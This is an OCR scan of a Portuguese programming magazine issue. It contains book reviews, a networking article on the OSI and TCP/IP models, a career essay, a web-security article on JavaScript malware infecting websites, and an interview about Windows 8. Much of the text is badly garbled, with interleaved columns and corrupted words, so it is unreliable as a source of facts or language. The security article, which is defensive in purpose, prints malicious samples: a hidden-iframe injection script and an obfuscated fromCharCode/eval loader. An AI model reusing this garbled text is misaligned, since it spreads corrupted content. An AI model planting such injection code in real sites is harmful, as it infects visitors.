obstant e, as organiza-»es sabeml gae par ar abealrhpgmndaa€k@. e At r av
da sua equipa ® critico para oadow-ceweos sdbe dmommags cajoustadas ~ nec

-n«o confundir com burocrac-sia qu
produ-toi viaT ser 8 capaz de fazer,

Atual mente, o0 sucesso da execmeshoessr ate®gi-»a sdasmedrhpanir-eport
za-»es n«o ® atingido sem a pcaegstsiocs pea-i«doe ndo fliT.a-&0i sei poat os
por parte dos restantes departamentos, confian- a, esperan-
-a e press«o para que o |IT encontre estrat®gias inovadoras.
. o I T ra-a_ vS8rio desafios dent
Para que tal aconte- a, ® |mpreSC|n3pveI q e§ o] FT co,mgrgen-
. . destacar: (|L)J a ,gar.ant.i a oper
da o neg-cio e que saiba comunjcar com o0s ‘restantes depar -
. de f or ma §g|!' (i ? hmalementa-m
tamentos de forma a garantir %ue se encontfa alifnhado, co0
. . em valor e competitividade ao n
a estrat®gia da organiza-«o. . .
informa-«o organi za-«o0o de form
e agir
Infelizmente, embora reconhecePnadroa oqupeottecncdtcd ad €r deplolsot do- 1 T
do confian-a, mui tos C*Os n«obacsotnas eqquuee "o sved* Oz ktTaparhem em c

al ®m da garantia da operaci ongéloirdmadecldair8r iea gleor anretgane i ® . a lPian h an
ra quebrar esta barreira ® necoersgsadiriizoa-ggwe os C*O compreen-

dam que o |I'T necessita de saber qual o caminho ,de forma a
ajudar a planear a sua execu-«o0o de forma inteligente.
»

Ambr o, FreeDigital Photos. nc¢

AUT OR

Escrito por Fernando Martins

Faz parte da gera-«o0 que se iniciou nos ZX Spectrum 48K. Tem
ri°ncia profissional nas 8reas de Tecnologias e Sistemas de |
dade a migra-«o de dados.
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l ntroduOl o ao De

T2twul dntrodu- «o ebPara uma boa constru-«o de Inte:
I nterfaces cap2tul os. Desde a an8lise dos

,es"‘.’r.o tante para o desenvolvimento de
Autior Manuel J. F efg”orotualiza-<<o e prototipagem, at® &
Campos e Daniel ( ‘es em si e as avalia-»es finais dos
Edi torFaEAdi t ora de pri c2pios de cada sector, todos

com exemplos simples e pr8tico:

= |

ca, Lda.
P8ginal344
| SBN 997782 2-2 3-8

Para wum |ivro que se designa

dizer que ® um |livro bastante

pa, que na minha opini«o, est

ples, desde a fonte at® & ilu = o /= vl . ros

t®cnicos n«o s«o fifamososo pel _@v‘;—v/ :

tasa®. O conte¥%Wdo do | ivro aboil _

as suas 8reas, desde o inicio am

como ® i mportante a intera-«o S

digitais, as suas fases de de_ _ ... _. .t - N, % [ T e . O

i mport®©nci a de seguirmos asporrefglrn@s adﬁlltidrﬁe?iﬁarte, o0s aut
focam pontos 'mportantes par a

O livro est8 dividido em tr?®°s d%%rltg%% ddeeinrt'eq"fchce% c%n%lcbnt‘

pl a, hi storicamente, a importé@gcag Iqrpfeorerﬁ(al St of d%auipﬁ?EgdS?es
PessM&qui na, com hist-rias e q,)ﬁemr’gpnl BS qRU G ohO m%%%%‘?s para os
os prim-rdios da linha de comgngas ¢® ;8% d%0%C M THh&Te M8 ke amc
recentes como intera-»es m: Ve'lo,baseegaudlonsdoemasgerségorséénuéié'de5|gn

toque. mai s comuns praticado nesta 8rea.

Os autores na pri maiorsa oparftuen daenean e@se m

gue existe na perce-«o humanaEmM uSstamd.| i aldiev rdoe & ndtee rlacictour a f &
em geral, princ2pios, teorias MASaadgsggucnadsc.o. A Chfhee s P! pepa»e:
fisionomia humana, o0s nossos sPeOnnttiodsosd € VdiaSst an ol sNstaesl ecSaspaanctie-s . b

dades de intera-«o, passando péNE® 8Kt &eEmadafaeahUrBOS ng eprofe
ragi mos, neste caso os comput hdBrésreUmMeemPhechment gaexbra e
de Pe#§qaina, onde a compreenf¥d8Mddemedhad. @ diemenvolve e/ou c
portante para uma mel hor escol®Xal Sdtee elsma |ignst egMBptioligV Npelragdi & cPae Sgse0 a

design de interfaces, parte i mportante para o bom desenvol -
Vi mento e que nos ir«o ajudar na compreens«o nos cap?2tul os
seguintes do livro. fEscrito de acordo com 0o novo aco

A segunda partenass ds vproi mospgirmas e pr 8ticas

AUTOR

Escrito por S®rgio Alves

Desi gner GeDgfsiicgon,erWeeb Progr amador , gosta de estar atwualizado s
User I nterfaces, Usabilidade, User Experience e aproxi ma-»es
No twitter: @Scorpion_Blood
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http://www.fca.pt/cgi-bin/fca_main.cgi/?op=2&isbn=978-972-722-738-9

_ Bl EXERCICIOS
T2t Elxer c2ci oBAlegno Jia JAVA n«o ® de esperar que seja uma fo
Programa-«o Estrutu rencia, onde uma pessoa possa ap
Ssim um conjunto de apresenta-»e:
linguagem e como resolver gamas

Aut Ardiel ai de Carval h

Edi_tﬁca‘: funcionali dades apresentadas pel
P§gi n3arse: estes que abrangem elementos b§s
| SB87-87-22-22-3 dados naturais da linguagem at®

Quem est8& a dar, ou ‘ 08X8eUGi p$js«o apresentados de um
meiros passos na programa-«o, eddPéEi @dfo Pfds ePdd dd& . um«0 apre
bicho de sete cabe-as. Seja qua&IM fdAados paye@y aqyem® Y% YroYyr a2l 9o
ma-«o, existe um conjunto de MN&dd Y ehaG sdPHieykoe8ogdig@d. a0 c-
gram§tica da |2ngua natural d&ENPNEdRERad ES ! amaPExgesrgeryca rogdg edo J
de ser tanto ou mais restritifh9Qhi tgMied e& ¢ RN O orreagyas-1 «@on pEYsgt ruct au
cesso natural de aprendiza§@&mi BEOTUMA- 90 nyeuCabySeSnf r'd e Para el

pro
passa normal mente pela leitur&0d® FExEHLEYPRI cAPi RHOCRELER eseS
conceitos, que numa primeira eNdAdtopdreveteantvdrd@msSniAgunas.

base | -gica muito forte, se t&PdEMeAdidr&oc dfplail ILPddd MPardee o €5
mente criativa do ser humano.®X®hd CRaReiPod d§e HaPpmsgsgr!l has ef
esta dificuldade na absor-«o dteexitnufadrrﬁiao-«poroecepsrsoocedsesorse,s%ﬂ Uy- « 0
pr&§tica. Assim como o exercz2cildtfdfPredarepeddti WEO0EMRa«P| 8RT K
dade e mem-ria muscular, o ex&@d2ciadd 9fe MtULl N0 a® aC lnRefsOmaP ar a
flexibilidade mental assim coth® Mdliada dVep&xd $he&a Muhbas e val
conceitos usados. uma primeira edi-«o, sendo essa

uem possui este |ivro, que o |

q
£ neste ©Ombito que rExafc?acieodsijte49 t ¢O biaY%lomim o maior probl
JaviaAl goritmia e Pr ogrednat-ado E_ps(g(l)rajdtourca_ddaigo apresentado.
d

FCA. Um | ivro que apresenta uma grande pan-plia g exer -

c2cios sobre os vs8rios temas dud €dthUh&vdeptSgramddPr ® emyi to d
al gum momento, ter§ de aprend®B3i S JM&KUENOS  ddi Rdt @éasdeste |
uma boa |inguagem de programa-S&@" t@dr a@Si nSioclila n’teeSs ,@ O0aS0 €aXpesf-C 2 Ci o
trair alguns elementos b8sicos’,“%s%q nf X nfo® ahtehUYb NExged CFe 100 s
tipagem de dados, ajudando a e VA& goyg timia & pRorsO gyrgarngat-p«god el s
que um programador poderia cometiert.®©Sd a0y a NPaCnltSeSnh tad e ter a
disso, a facilidade de cria- «o® de® Nin® Y2dnPp iSeendtUel Ngte® - d el sSet nOv od &yMoO.n s
mento. Em termos do livro, ® ééhtve® & SPIEiNGi€l i8 addPo’ euSnf Ngtrag n<.0  d
de conjunto de exerc2cios quef e8Pl dse&Pra ED ¢BRGLURRIGE 4L o Ja v
programador de uma forma faseddd M @am@d ATalr9." ad®meéc0g JEisgt m @t oo md a
com uma explica-«o de como in%?Ri@¥IymmMasmpiahd #d agaemente n
senvolvimento assim como inst&PREEbENQoFedW® MaP p&tognthemaadqui ri
com o I DE Eclipse, o programadio® %Ue ad&MG NSt & eHAPxdBt plalrzar o

come-ar a praticar os exercz2cibhsMqglyievhM®ed@eiRbCtBrHBCci dPI.OGran
gunda edi-«0 onde o0 conte%do terl

£ de |l embrar que n«o deixa de;SelgcUMol igps0 e o €EXELLECERPEesS .

AUTOR

.
Escrito por Carlos Jos® Dias
Programador desde os tempos do Sinclair 48k, passa o tempo en
A universidade j§8 |l a vai, ficando a responsabilidade de mante
aquil o que gost a, programar e ajudar a quem quer aprender.
I
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Code

N O

Viagem da |

nNf orn

Todos 0s di as interagi mos e . -
pessoas. Pessoal ment e ou u Ap||Ca<}30
Comunicamos com pessoas, c omt
computador, com n-s pr-prios. Apresentagéo Apllcacﬁo
ni sso. Por norma somos real mer
Numa vVvis«o mais inform8§tica, ~
soci ai s, creio que o leitor ( Sessao
qgue o simples ato de aceder mo
par a pesqui sar al go do nossao Transporte Transporte
determinado site ® wuma for ma
informa-«o0o e de a enviarmos.
Mas que caminho segue a inforr
AfAnti gamenteo, Vi sto que este
p® no presente, us8vamos tipi
sej a, utiliz8vamos uma rede p Interfacede
outra para a internet e "s ve.;: Rede a
tel evis«o. Hoj e em di a, na
portuguesas, optamos por um
acesso televis«o, rede e MOdeIO OSI TCP/IP es
S«O0 conhecidas como as redes
v8rios servi-os num s-, numa <Apesar de serem diferentes, est
afirmar que uma rede convergiquase de m«os dadas um com o out
gue nos permite albergar VvVS8ricfjnal O mesmo.
Contudo este artigo, assenta O modelo OSI ® um modelo de re
comunicamos e interagimos na frefer°ncia comum para uma manut e
Sabemos que a rede ® hier§rqude todos os Fipos de protocolgs
fal has de for ma a que os C_n«o tem a |nten-«o. d.e ser um
di ariamente estejam sempre dislmplemen.ta-«o. 0 prln.C|.paI (Rrop
vezes apenas quer emos saber refer°ncia ® o de aUX|I|ar_ a um
ligar mos o computador rede,fun-»es e processos envolvidos.
qual a password do Wireless. Um model o de protocol o f drnec
browser e ver o emai l OU Usar corresponde estrutur a de um
A maior parte das vezes esquep_roFOCOIOS' O conjunto h_ier§r_qui
est§ por trs§s. E que n«o pretflplcamente toda a funcionalida
internet para estar numa rede|nterface da rede humana com a I
acredito que alguns | eitores tTCP/IP ® um modelo de protochI
® isto que eu proponho ao |eifun-»e§ gue ocorrem em cadaigama
protocolos, at® a informa-«o 40 conjunto TCP/I1P. es,
porque para termos acesso a UA maioria dos modelos de protoco
de ligar dois computadores entprotocolo espec2fica de um forne
Conhecemos principal mente doi /CP/ I P ® um padr«o aberto.
bom funcionamento das regras O modelo TCP/IP foi feRetqouelsas efao
internet. O Modelo OSI e o MocCommentem que v§rias pessoas par
que f oi aberto a todo o p¥blic
encontrado o model o final
—
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N O

uma forma muito sucinta, Aa CBBmARAI che «o e%he fBPHS ser su

correndo a uma interac-«o efstUP&aP8ddgfotocol os das vSsrias
madas, por exemptpdibipaoaocyd]|Pe Miad&( agiCcal |+ hkatcaondaopprt
e vai ser tr-anpalf@Rda @oenwsiu@;iViéwar e, ® independente do equ

ansmite e transpdriia®d pgarformpgde«os Oom as camadas superior

ve mandar os pacotes segwmentadapsfPAP dCPacot®"Voird gi nando a
ra a Ethernet que por sua vez coloca os dados no Afioodo da

de (assumindo que estamos aoSH9&gAMaMhaMMALE._ aeCcgoRr &dtdal part

5S> ST a~Tao0 Qg
QDS O OSSO0

ma rede local). Os protocolB8EdWalee. i fPdPERDPntlels@Mea €M Ci M
cnologia usada, definem a sDRFYXEE Q&' Q% of Hh®Sclo® Ntragc algeaC U P €
rede. Assim o I P fideixa cairo o pacote
H§ duas no-»es importantes a@&%ieGledPantss et @gdRdos, nepe pPaFrai oa

segmenta-«o e o encapsul ament Fa2MRA&e MAEn ALy eldhdc@r ee 0 can
em partir a informa-«o que no%s“O dt & EsPATB8mePUr b s®Sa§Ss mes mt
pequenas para serem mais facial Bgntyg maramageini dahtacePemplifi

encapsul amento ® a adi - «o des matkas iphefioarlsMaguad s "passam os d
informa-«o j§ existente. rede.

Como cada camada do model o

; . Encapsulation
informa-«o de que necessita,

overhead (quantidade de infori

data unit). O nome do PDU dif

uma das camadas. FmakDila Data

Assi m, guando a informa-«o (d

pequenas partes geradas s«o ct Data  Data  Data

o nome do PDU da camada de t ‘ : Segment

ent«o enviado para a camada | Transport

novo encapsul amento, se passa header |

Assi m, podemos di zer que o0 Network | Transport

camadas de transporte (TCP) header | hester (B Packet

actuando em conjunt o, sabem g

PDU pois a camada de rede j 8 || Fame | Nework | Transport oata | ™ Frame(mediumdependem}

header header header trailer

Embora o protocolo I P seja inc a

MTU (unidade m8&xima transmiti.: i

0 cabo de fibra --ptica pode el n

tamanho maior do que o0os fios ¢ >z -
=)

Continuando a nossa viagem, o] \\\’

a camada de Interface de rede ou a camada dae acesso

rede. £ nest a altur a que 0 DFbaCderema®ml?i”tC@p§Pthgs,e e recor

transformado em frame. seguinte ficonjunto de palavras cl

Este ® um dos pontos que o mocje'Cba@%"§e@m@"ﬁ\b%c&'ﬁzgeacrﬁefiitcso
poi s tem duas subcamadas correspondentes h Yol t 1 ma

camada do TCP/ 1 P.

Nestas camadas, assumindo mails Sunth &Setz2SqudfeEMagmasgs aque ajuc
numa rede |l ocal que pode ou nS«eOf@s‘t_aarcof{ﬁahﬁm_entien’tedrenefto,rma
podemos falar no protocolo EthTerShe®iqgu® D&M €N Vaiad oSt e | B €GNy -1(EC !

de v8rias mSquinas. A Ethernegey@mb&Pretrant gmPod déé frehd e qu
entre a camada f2?2sica dos dadosy cdrre CEaHYIBDI leshiesd FHOFcessos
dados. enviamos, ir8 fazer o percurso i



0O Code

Mas como ® que a rede sabe qt Original Ethernet Frame

N . O ?

nnoso (max size = 1582 bytes)

Caso o |l eitor esteja, por exe A ou
at® mesmo a fazer o download ¢ r \ a
informa-«o de que quer acede

resposta, o servidor em que e Preamble Data CRC i a
0s dados pedi dos passando, 8 bytes 46-1500 bytes 4 bytes

processos de encapsul amento

anteriormente.

Neste processo, um dos dados Destination Address Typc

endere-o de ip, como est§ iluc 6 bytes 2 bytes 1do

os dados est«o na rede univer: Source Address ,

este irsg§ rleemmcmaniaha switch qu 6 bytes

ARRAtabela onde se encontram a

as interfaces de rede e osimr& Vamos considerar o envio de um el

entregar os dados ao computadcdocumento ou uma i magem qual qu¢

Como fecho deste artigo R aptamanho desse emai l ® aproxi mad

. ' nossa MTU ® de 1500 bytes.

considerar uma opera-«0 que O e

no seadidaa Fazendo a segment a- «o0 e encapsu
obtemos (aproxi madamente): 60000

A mal Or | aOu sdao Sm emai | de 6MB <cria 4

serem enviadas pela rede, num si |

protocol o -
rece uma pi mz; ‘.
protocol o e L Y
de um fornec
entando 0
TCP/ I P ® um
aber

Escrito por Rita Peres

Natur al de Castelo Branco e estudante de Engenharia I nform8ti
Janeiro Htet 29H:1/0/ www. f aceblook.com/ rita.aperes
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N O

aCamal el o! D

Cada vez mais ouvimos falar crian-as, guando se Il hes ds§ un
di ficuldades econ- micas, emi gcomeram a provar, e eles dizem
t°m de sair do pa?zs se guergostamé mas nunca experimentaram.
simplesmente dizem que est«o

. ) ‘Comigo foi assim. H8 onze anos (
s e. Mui tos |l utam cada dia po . . ~
. da casmurrice) que me dizem, ide
garantir o] futuro e cada VE . .
fidevias pensar noutr a coi sa p e
descansam enquanto n«o acham . .
. . . .programa-«0?o0. Eu sempr e di sse
incrzvel gue sejase Maososuhs: . . .
. complicado, areia a mais para a
estado e passam umas f ®rias .
seria capaz de programar, que ne
acabe, e ent«o ® que | evam as . .
uma vez que sempre fui virada pal
P I r rav L . . .
ude € atraves da usa, aue 4 nmais engra-ado ® quenos vid&acadks
Portugal aumentou para o0s 15 . .
partida do arco da vel haé.
Fa-o parte de um grupo de por
Jul ho, Agosto ou Setembro, cor ca
de deserimrseglocentes. Cada vez Eu S e mpr e d
cortes na educa-«o0o e diminui -
a serem contratados. O que noscs q u e | S S O E
Posso falar da minha pr.-pria . e .
ensino e em todos 0s anos em mU| t O C O mpT |
certezas de um emprego garan . .
fact o, neste moment o, n«o pos: ar e| a a ma| Sa p
trabal ho existir8 nos pr - xi mo el a
di minui-«o da taxa de natali I
austeridade a que todos est amc n h a C a ml O n et a'

nNuneca seri a C .

Cada vez malrsotrea_mar U e

mos de deixpar gas ’ d .

. uer r a a mi I
Vi s»es qguadradas de

gue apenas deve S
fazer aquil o ara o ual

o final do passado °s de Junhq
est ud§| ;- | EFP, numa enorme fila de doc
esperavam desde as 7h da manh« e
dia at® serem atendi dos, e de ou
seguinteé Ora quando chegou a m
mi nha documenta-«o0 e tive que pr
el es-senawaom tgruaev ar ef eri a Vv §r

S - que este ano tive uma oportEntre
mi nha for ma, por vezes quadraiquais ter2amos de escol her um. )
pensei, e continuo a pensar, c(por causa do passarinho que g 1
0O que se gosta, devemos aproveescol hi um intitul ddd abpencurmpsg !
muitas vezes eBea vapapb pesdelpara a interneto, ou seja, HT ML .
Agarrados a esse fimoted de vi . . .
. E |8 fui eué a pensar que n«o i
trabal ho de experi mentar out . . . .
jeitoé que n«o i a aprender nada ¢
—
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N«o podia estar mais enganada.Ca"&lu&s% MNedm G @ nC&" 8 muit o

completo, pois eram apenas 50Ra MaalfQade® Suiéchgaéier Pad@apt a

me por a fazer o que eu nuncajhgapkhP8i PHPavVteaECdE EBARECci me
|l maginem o que ® durante anos d(‘ehaaqegaor nbvmparido ou esposa

por estar at® altas horas da n0|te programar é e de repente

s«o voc°s que fico acordada Y7% %e'? 30P°48 $UhBkr a2 qualqu
programar, s- porgque queria aprMeno%UarPod SFFeld@r tRHUBsdeESCON
truques para aplicar na ps8gin&@tddRNIESsLL M MPdtPorfdderh i vidad

Neo &rmef Matroxdestino n«o exifsat'eangjé"‘rﬁ_uan'esuCaovneseg”'am com ape
senso de ironia. electr-nicos.

Desse tempo permanece a Apple n
pelas m«os de um estudante bal da

bril hante estudante de engenhari
numa garagem em Palo Alto, Calif
estudant es, Bill Hewl ett e David
foi S - a Wal't Di sney Studios. A
nasceu de estudantes, da vont ade
n«o conformismo e da adapta-«o.

HS sempr e

nNovo a acon
£ um mundo em
Foi a? que eu ca2 em mm e cdme@ell b @onde@aVY Qultdl - « O

seriamente uma carreira alternativa na 8rea das TI. Agor a,
paral el amente "s minhas aul as, Ieonu ¢ uentar cursos de
programa- «o0 online, par a ganhar base: nai s rg§pido
poss2vel, pois agora penso Qgque uma mu de carreira
ser8§8 inevit§8vel
Cada vez mais temos de deixar _as vis»es quadradas de que
. Tudo o | e om&)g um QIconjunto
apenas devemos fazer aquilo para o qu estu mos . . ada
. apr.endemos. N« o precisamos de S
vez mais temos de nos adaptar s  mudan-as e eXxig®ncias
. . |fPotenﬁlabldad S do “"ser humano s«
do quotidiano presemee uem f§fogwor odé embr a .
. . ~ estar dlsp?stgs Ambs P&l s al ®m
inf©O©ncia ACamal e«xo, de que cor?o0 . no qgua t2nhamos e nho N
. . . confortgvel. Testar mos 0sSnhomnsosSssos
juntar cor que era dita. .
cores qgue o} mundo exi ge, mant e
Penso que as TI S«0 UuUma 8rea jicwdn Wirdawalei dcaadpea.c iTd.ald e uthe|a sa2da?
acol himento e uma grande aposta. H8 sempre algo novo a
acontecer. £ um mundo em constante evolu-«o e revolu-«o.
E haver8§8§ cada vez mais lugar para um | . T.

Al gu®m que me ® muito querido costumava dizer A N«o me
preocupa o futuro, muito em breve ele virglo S- espero ser

AUTOR

Escrito por Sara Santos

Professora do Ensino B8sico e de Educa-«o Musical. Deu os seu
dBasel || plus. Autodidacta nas novas tecnol ogi as, iniciou a a
dar conhecimentos atrav®s de forma-«o certificada na 8rea da
Revista Programar desde a 300 edi-«o.
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Ver f1 ca

regul ar me

Exi stem cada vez mais websitesmalicioso.
mal war e. Prova dest a mi nha . . .
. . Exemplo de um c¢c-digo malicioso (¢
dom2ni os, com o dom2nio de t.
embl acklists de bases de

dadosyy {1 - prototype;}

catch (asd) {x=2;} if
x){fr= "fromChar" ;f=[4, 0, 91, 108, 100,
88, 107, 95, 100, 101, 22, 91, 105, 99, 54, 91,

.90, 29, 32 22 112 4,0, 107 88, 104 21, 96,

Os ficheiros JavaScript (.] s)92 103, 100,22, 50,23, 90, 100, 90, 107, 98, de
ficheiros escolhidos para a | 92100 105,37 89, 103, 92, 87, 105, 92, 59.

. . . . 97, 92, 99, 90, 101, 106, 29, 30, 95, 91, 105, 87,
ficheiros que., na maioria da598,92129’30,50,3’ 1,96, 92,103, 100, 36, m
todas as p8ginas (como por 104, 107, 111, 97, 92, 36, 101, 102, 105, 94, 107,

i Query., MooTools., entre outr as95 100, 101,51, 28, 88, 88, 104, 102, 98, 106,
J Query. Moo . 107,91, 28,503, -1,96, 92, 103, 100, 36, 104,
mais dif2cil porque muitos Ulj97 111 97, 92, 36, 105, 102, 102, 50, 30, 35, de
an8lise de c-digo malicioso, 46,48,47,90,100,29,48,4,0, 94, 93, 104, nt e
- - 98, 37, 105, 105, 112, 98, 90, 37, 98, 90, 93,
da pSgina activa do browser e ;5:70"30 3575748 47, 90, 100, 29, 48, 4,
0, 94, 93, 104, 98, 37, 105, 103, 90, 22, 21, 52,
22, 23, 95, 106, 105, 103, 48, 36, 38, 99, 94, 88,
Exemplo de um c-digo malicios c9994 95 91 86 107, 106,94, 90, 97, 90, 107,

'
function  frmAdd() {

105, 35, 90, 101, 98, 38, 94, 105, 107, 102, 35,
103, 94, 101, 25, 49, 2, 1, 95, 91, 105, 99, 35,
96, 90, 21, 52, 22, 28, 93, 104, 98, 64, 90, 28,

yar ifrm :do_c_ument.createElement( 'iframe’ ), 50. 3 -1.91. 101. 88. 108, 99. 90. 101. 106. 35
!]‘:fm-StY:e-POS'_t'O“ , gggab,S,O'Ute ; 89, 101, 89, 112, 36, 86, 103, 102, 90, 101, 90,
=S, 0  Poogar: 56, 95, 95, 97, 91, 30, 94, 93, 104, 98, 32, 49,
lirm.style.left=__ " -999%em’, . 2,1, 115, 48, 4, 0, 108, 96, 100, 89, 102, 109,
ifrm.src = NP //XXXXXXXXXXXXXX.com/Scripts/ 35 102. 100, 97. 102. 87. 89. 23. 51. 21. 93
e i index.php” 104, 98, 56, 90, 89, 50, 3, “ALv=  teva;} f
Irm.1 rm (v) e = window[v + " Lw=fs=[;r=
' documentbodyappendChlld(lfrm) String: z = ((e) ? "Code” : ™) zx =fr+z for
}'.d oad = frmAdd: (i=0:291 - 5+5 - i>0i+=1){j=1 if
window.onioad = frmAdd; (€) s =s + rf2x](W[i] * 1 + (9 + &( "9%3" )i }
. . if (X &&f&& 012 === 10) e(s);
O que comprometer 0s ficheir
fiinfectadosd com c-digo malici
Al guns dos c-digos S « 0 bastante
1 Servidor de alojamento comiytj|jza-«o de-ldDenti zas «ve dged P p
q Cont a de alojamento compro visitante para diversos sites
. . ao controlo das diversas vers»es
vul ner 8§vel ou aplica-»ds . . .
exemol o: Jooml a Wordpress respectivo exploit (muitas veze:
P ' ' P 'parte das empresas de software).
l Sistema operativo infectal ecess8rio que exista um proto
(p0§ter|ormente podem Obtedos webdevel oper s, ou responss§
aplica-»es FTP para o conti .. igsarem regul armente as suas
1 Downl oad de ficheiros Jblogu_eado pel o Google.devido o
(principal mente quando o dma!lc!oso (Saf e BI’OWSIn.g) pode c
frameworks n«o ® efectuad¢(Principalmente monet 8rios e de
oficiais). clientes/visitantes.
O visitante de um site que est§ i
Praticamente todos os c-digim papel activo na seguran-a des:
s e ofuscados o que requeantes ao responss8vel Se o site
principalmente, manual par a conte¥%do malicioso, O visitante |
. ' online ScanPW (http://pke.nu/scal
assinatura para preven-«o de . .
. . fonte e obter um email v§8lido ou
pr-prios antiv2rus apresentam ¢ )
baixa devido ~“s v§rias t®cnjconNtacto
—
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Por vezes, observar uma fi&)gﬁitre%p'mﬁebconnot?é:él? gshppel ecido com o
pode ajudar bastante na prevend dJ&i HSrbpFEMAdErggem- Um men

seguran-a. conhecimento de como remover. (@)
sido informado do probl ema (hs
Nas %l timas semanasmdapagueas  SonttUadc-t”8® we lwepber mas nunca obtev

|l ament §veis. Mui tos respons8veis pelos sites infectados n«o
t°m qualquer conhecimento de fTofmB2 defalciidade (&5fo§efen8rio da
corrigir problemas de seguranS@9Urpipn-ardayj pfRsdasseea Web.
publicados em |istas negras dmpejmdpl Wad®i: HI guPdassS eMd@VAMent as
ficheiros JavaScript maliciosofixilio e preven-«o neste tipo dt

Nome do fich¢gbecri-«o do p ObYemgcanPW(http://pke.nu/scan)
, , : Y Mal zilla (http://malzilla.sou
jquery.scrol ll«aibffreames> para $ite com mal wa-

i query.js re que si mul g ¥ Geph!wet (http://wepawet.isecl
Anal ytics }
overlib.js Y Unmask Parasites (http://www.

swfobject.js|[<iframe> para pit¥e qUSUNPACKIM http://jsunpack.jee
mal ware que explora falhas no

gk.script.js Y Sucuri SiteCheck (http://site
js.Rollover . .jsiframe> para |[sitNeos eqqueantontise€ j8 tem o seu site
nham adwar e Browsing, recomendo a 4 ettpréal

funcs.js support.google. com/ webma-sters/ bi.

jspngfix.js <iframe> para pi tBER&RPWE Wk meElr6s3e6g3udi r oS passos indi

cializa produto¢s farmac®°uticos
@ chrome
Perigo: Foram Detetados Programas AR
Py . Y 1 2 ‘-.'« 4 7
Maliciosos Mais a Frente! .(‘v“ ')
O Google Chrome bloqueou o acesso a esta pagina no |

distribuidor de programas maliciosos conhecido, nesta Z
pagina Web. Visitar esta pagina agora ird, muito -
provavelmente, infetar o seu Mac com programas

maliciosos.

. I ‘.!‘.n
£ mr:}'
Foi inserido contelido de , um _ ! LJ
. ( K
z . &

Programas maliciosos sdo software malicioso que
provoca situagdes como roubo de identidade, perdas
financeiras e eliminacdo permanente de ficheiros.
Saiba mais

Avancadas

(0 Melhorar a detegdo de programas maliciosos enviando dados adicionais para a Google quando encontro
avisos como este. Politica de privacidade

AUTOR

Escrito por David Sopas

Analista de seguran-a web, programador, fundador, editor do W
Col abora regularmente com a comunica-«o0o soci al em assuntos re
|
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N O

ENTREVNDBDRADE |1

i i - 2
Revista PrAogMiaawmag s o publicar aplica-»es"-

recentemente o] Wi r
podemos esperar de
operativo para os p

TS Qual quer pessoa pode

uma App para o Windows 8
custo. Apenas para publi
Loja Windows ® que ® pr
conta de programador e

Tiago Andrade Queal ¢ taxa de registo anual

c

i

f

d

i

l an-amento de uma onforme o tipo de cont g

Windows traz in¥mer ndividual ou empresa. S
A maior del as no V or empresa o valor ® de
programadores ® e 3740. No entant o, emr.
dedi stribu2rem as ¢ hteresse € compromi
Windows Store, e d. programadores com a
Wi ndows, anunci 8mos tamb

um sistema sem compromi SsSsoO0S:

pl atafor ma (in-deWieeARm/l():si,mﬂudamum azno desta subscriz-«o. para que
e tabl etsi)npet miktouch, pen, el eg2vel (todos o0s n2veis menos

Windows 8 representa uma OporlAtrav®s dos programas DreamSpark

para os programadores, uma ves® Bi zSwamwk bi(zspar kapomamos t amb
estudantes e asupentponesasmesdmatof

operativo mais wutilizado em t ) ) )
taxa de subscri-«o da | oja Windo

no centro da experi®ncia do Wi
Claro que n o val or mencionado

Uma outra novidade extremameni )
considerado o custo do desenovolv

ser possz2vel desenvol ver Apps - g
a tr2ade de linguagens mais se dever8 considerar o custo fipe
HTML, CSS e Javascript. Est e p0532vel. obter as.ferramentoas n
l eque de pessoas que j§ t°m 0custo:.VlsuaI Studi o .Express 201
para desenvolver Apps nativas de apoio ao desenvolvimento..
partido de toda a plataformaA vers«o express do Visual Studi
di ferenciada. e com |limita-»es.

A flexibilidade da nova |l oja Para um desenvolvimento maism pro
com que sej a muito atraenteutiliza-«o de uma das vat spes/
plataforma. £ poss2?2vel desenv www. microsoft.com/visualstudi o/
ter impacto © escala gl obal (¢ em
200 pa2ses e em 100 | 2nguas di

fatura-«o flex2vel e interessiRP:Quantas aplica-»es gratuia&.as
0 modo de partilha de receitawindows Store depois de adquirir
30% para a Microsoft. Se fatu es
esta divis«o passa a ser 80% 1
Microsoft. A loja Windows perTS:A Microsoft est8§8 a dar prior
que, se for o programador ou qualidade versus muitas de baixa
cobrar diretamente ao consumi imomento n«o existe um |imite nc
valor faturado, n«o devendo gpodem ser publicadas atrav®s. da
Este ® um aspeto diferenciadcexi stente ® que as Apps t°m que
guem cria as Apps. val or ou utilidade Ynicos e <criz
RP: Quanto vai custar para de:mercados que suportaro conf or me

8? Teremos de pagar por uma [gosreqU|S|tos de certifica-«o0 da

poder desenvolver ou pagamos ¢
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Cl aro que no val or menci ona i ma n«o est § a
considerado o custo do desenvo nto em si. Aqui apenas

se dever8 considerar O custo i u@orab,Ma \/ﬁzgu()@WS
poss2vel obter as ferramentas ncuveS3S8rias gual ue

cust o:

Vi sual Studi o Express 2012, orSDeeptordoe SonEeVMo tdea.

apoi o ao desenvolvi mento.

A vers«o express do Visual StuOop@ Onarvetrs«u Frqntirydeald

e com | imita-»es.

Para um desenvolvimento mai s es n_al éaico el hada a e r
utiliza-«o de wuma das vlatSpe m goavan das ’Q
www.microsoft.c)o.m/visualstudlol

para os pr

RP  Vai ser possz2vel usar XNA em aplica-»es Windows ou

foi descontinuado? d O r e S : u ma
TS O XNA continua a ser suport@jo noWIsktnpd O’IW ®

8. Aplica-»es da l oja Windows com mai ores ]
gr8ficas podem ser desenvolvidas com Direct X.

€ Mma oper

RP Foi |l an-ando em simult®©neo com o«Windows 8 o Vis.uaII .

Studio 2012. O que &esta vers«ma§s| deSnovo u torlna I Z

convencer os programadores a comprar/usar?

t odo 0

TSO Visual Studio 2012 inclui i nYameras novidades que v°m
simplificar a experi ®°nci a o] de env ento e
ajudar as equipas a colaborar MUOr ad é t e, E.ntr)a
estas novidades, destaco 0o suporte a desenvol to de

Apps para a |l oja Windows; mel horias nas ferrat par a
desenvol vi mento web (com o Page i nspector e o] DOM
explorer); Integra-«o no VisugpkP Spadao gdandoghptosaveiniocsh es @der ar
Bl end; simplifica-«o0o do desenw)ihdiomentPhhoassB8nerquoal camraz«o p
utiliza-«o da framework 4.5; cWipnadcoiwsa dreh odnee |7i.g5a - p<aor aa oo Twianmd o ws

Foundation Server (TFS) na cl ooethpreou pwm tfeilmef omel MPori as no

suporte a desenvolvimento para_ Sharepoint )
TS O indows Phone 8 foi |l an-ad
europa os dispositivos |8 est«o
erggo do Windows Phone assenta
RP Quando poderemos wusar bas% dedda\(/iv_sdlocalss (et . .
